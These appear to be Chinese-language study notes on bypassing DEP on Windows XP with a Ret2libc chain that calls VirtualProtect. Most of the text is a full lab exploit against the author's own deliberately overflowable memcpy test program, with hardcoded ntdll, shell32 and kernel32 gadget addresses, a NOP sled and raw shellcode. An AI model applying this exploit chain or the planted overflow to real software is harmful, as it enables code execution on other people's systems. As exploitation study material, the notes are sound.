Ret2libc 利用 VitualProtect

DEP 概念

首先   WINDOWS 2003  是默认开启DEP的  一般都拿2003来做试验

今天我用  XP  开启DEP 做实验  一回事

·······················································

只是学习笔记·····································另外的方法：

Ret2libc  NtSetInformationProcess  去关闭DEP

BOOL VirtualProtect(
LPVOID lpAddress, // 目标地址起始位置     *shellcode所在内存空间起始地址
DWORD dwSize, // 大小                     *shellcode大小
DWORD flNewProtect, // 请求的保护方式     *0x40 PAGE_EXECUTE_READWRITE
PDWORD lpflOldProtect // 保存老的保护方式 *某个可写地址
);

成功返回非0  修改失败返回0

先总结：

首先  一般都是覆盖  返回地址，因为 软 DEP  也就是 SAFESEH  那么要用  可执行的模块！！！！！！！

!searchcode jmp esp   可以显示  模块属性          DEP寻找特殊代码时要用！！！！！！！！！！！！！！！

书上的例子  是覆盖返回地址  然后  溢出漏洞函数 从 strcpy 改为  memcpy 函数 ，因为它对 "\x00"不截断

#include "stdafx.h"
#include <windows.h>

char shellcode[] = 
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"

// PS 这种方法不能用OD插件快速找到地址，可用 !searchcode jmp esp
//7C80997D    58              pop eax ret 
"\x7d\x99\x80\x7c"

//地址=7C92E7D9
//消息=Found:POP ESI POP EBX POP EDI  RETN at 0x7c92e7d9     Module:  C:\WINDOWS\system32\ntdll.dll
"\xd9\xe7\x92\x7c"//这里不能修改 ESP,EBP,EAX

//地址=7D760702
//消息=Found:PUSH ESP POP EBP RET 4 at 0x7d760702     Module:  C:\WINDOWS\system32\shell32.dll
"\x02\x07\x76\x7d"

//7C92120F    C3          retn
"\x0f\x12\x92\x7c"

"\x90\x90\x90\x90"

"\xc6\xc6\xeb\x77"//77EBC6C6   push esp jmp esp

"\xff\x00\x00\x00"  //修改内存大小
"\x40\x00\x00\x00"  //可读写执行内存属性代码

"\xc6\xc6\xeb\x77"//77EBC6C6   push esp jmp eax

"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
/*
7C801AD9    FF75 14         push dword ptr ss:[ebp+0x14]
7C801ADC    FF75 10         push dword ptr ss:[ebp+0x10]
7C801ADF    FF75 0C         push dword ptr ss:[ebp+0xC]
7C801AE2    FF75 08         push dword ptr ss:[ebp+0x8]
7C801AE5    6A FF           push -0x1
7C801AE7    E8 75FFFFFF     call kernel32.VirtualProtectEx */
"\xd9\x1a\x80\x7c"

"\x90\x90\x90\x90"

//7C8369F0    FFD4            call esp
"\xf0\x69\x83\x7c"


"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"
"\x90\x90\x90\x90"

//shellcode:
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C"
"\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B"
"\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75\x05\x95"
"\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59"
"\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE\x06\x3A"
"\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75"
"\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03\xDD\x03"
"\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB"
"\x53"
"\x68\x64\x61\x30\x23"
"\x68\x23\x50\x61\x6E"
"\x8B\xC4\x53\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8";//168
;
void test()
{
	char str[176];
	memcpy(str,shellcode,420);
}
int main(int argc, char* argv[])
{
	HINSTANCE hTnst = LoadLibrary("shell32.dll");
	char temp[200];
	test();
	return 0;
}

这种方法不好用啊  看看能不能突破······························因为strcpy要截断字符